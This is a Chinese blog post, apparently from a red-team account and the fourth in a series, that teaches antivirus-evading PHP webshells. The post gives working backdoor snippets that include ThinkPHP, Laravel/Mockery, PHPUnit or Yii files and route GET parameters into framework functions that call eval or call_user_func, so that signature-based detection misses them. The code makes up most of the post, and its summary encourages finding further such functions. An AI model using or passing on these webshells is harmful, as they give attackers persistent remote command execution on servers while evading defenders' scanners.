查看原文
其他

什么?你还不会webshell免杀?(四)

naihe567 红队蓝军 2023-03-20

基于框架免杀

thinkphp

array_map_recursive函数

<?php
define('WWW_PATH',str_replace('\\','/',realpath(dirname(__FILE__).'/../')));
include(WWW_PATH."ThinkPHP/Common/functions.php");
array_map_recursive(I('get.func','',''),I('get.cmd','',''));

array_map_recursive函数分析

这里存在一个call_user_func命令执行函数

function array_map_recursive($filter, $data) {
     $result = array();
     foreach ($data as $key => $val) {
         $result[$key] = is_array($val)
             ? array_map_recursive($filter, $val)
             : call_user_func($filter, $val);
     }
     return $result;
 }

免杀效果

B函数

<?php
define('WWW_PATH',str_replace('\\','/',realpath(dirname(__FILE__).'/../')));
include(WWW_PATH."ThinkPHP/Common/functions.php");
include(WWW_PATH."ThinkPHP/Library/Think/Hook.class.php");

class demo{
    function test($v){
        I('get.func','','')($v);
    }

}
B("demo","test",I('get.cmd','',''));

免杀效果

B函数分析

function B($name, $tag='',&$params=NULL) {
    if(''==$tag){
        $name   .=  'Behavior';
    }
    return \Think\Hook::exec($name,$tag,$params);
}

exec函数分析

在exec函数用存在有个类调用,且所有的参数都可控

    static public function exec($name, $tag,&$params=NULL) {
        if('Behavior' == substr($name,-8) ){
            // 行为扩展必须用run入口方法
            $tag    =   'run';
        }
        $addon   = new $name();
        return $addon->$tag($params);
    }

smarty_php_tag函数

<?php
define('WWW_PATH',str_replace('\\','/',realpath(dirname(__FILE__).'/../')));
include(WWW_PATH."ThinkPHP/Library/Vendor/Smarty/SmartyBC.class.php");

smarty_php_tag("",I('get.cmd','',''),"");

免杀效果

smarty_php_tag函数分析

直接存在命令执行,且参数可控

function smarty_php_tag($params, $content, $template, &$repeat)
{
    eval($content);
    return '';
}

I函数

<?php
define('WWW_PATH',str_replace('\\','/',realpath(dirname(__FILE__).'/../')));
include(WWW_PATH."ThinkPHP/Common/functions.php");
I('get.func','','')(I('get.cmd','',''));

免杀效果

Laravel

EvalLoader#load

<?php
define('WWW_PATH',str_replace('\\','/',realpath(dirname(__FILE__).'/../')));
include(WWW_PATH."/vendor/autoload.php");

$c = new Mockery\Generator\MockConfiguration(array(),array(),array(),'demo');
$b = new Mockery\Generator\MockDefinition($c,'<?='.$_GET['cmd']);
$a = new Mockery\Loader\EvalLoader();
$a->load($b);

免杀效果

EvalLoader#load分析

eval命令执行函数,参数可控

class EvalLoader implements Loader
{
    public function load(MockDefinition $definition)
    
{
        if (class_exists($definition->getClassName(), false)) {
            return;
        }

        eval("?>" . $definition->getCode());
    }
}

MockTrait#generate

<?php
define('WWW_PATH',str_replace('\\','/',realpath(dirname(__FILE__).'/../')));
include(WWW_PATH."/vendor/autoload.php");
$a = new PHPUnit\Framework\MockObject\MockTrait($_GET['cmd'],'demo');
$a->generate();

免杀效果

MockTrait#generate函数分析

存在一个eval函数

    public function generate(): string
    
{
        if (!\class_exists($this->mockName, false)) {
            eval($this->classCode);
        }

        return $this->mockName;
    }

yii

MockTrait#generate

<?php
define('WWW_PATH',str_replace('\\','/',realpath(dirname(__FILE__).'/../')));
include(WWW_PATH."/vendor/autoload.php");
$a = new PHPUnit\Framework\MockObject\MockTrait($_GET['cmd'],'demo');
$a->generate();

免杀效果

view#evaluateDynamicContent

<?php
define('WWW_PATH',str_replace('\\','/',realpath(dirname(__FILE__).'/../')));
include(WWW_PATH."/vendor/autoload.php");
$a = new yii\base\View();
$a->evaluateDynamicContent($_GET['cmd']);

免杀效果

view#evaluateDynamicContent分析

    public function evaluateDynamicContent($statements)
    
{
        return eval($statements);
    }

总结

通过文件包含框架文件,用框架内置的函数来替换一句话木马中的功能函数,达到绕过特征匹配,如果后期规则增强,可以通过搜索新的函数来间接调用函数,像反序列化利用链一样,当然,还有很多其他函数可以使用在这里就不多列举。

加下方wx,拉你一起进群学习

往期推荐

什么?你还不会webshell免杀?(一)

什么?你还不会webshell免杀?(二)

什么?你还不会webshell免杀?(三)

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存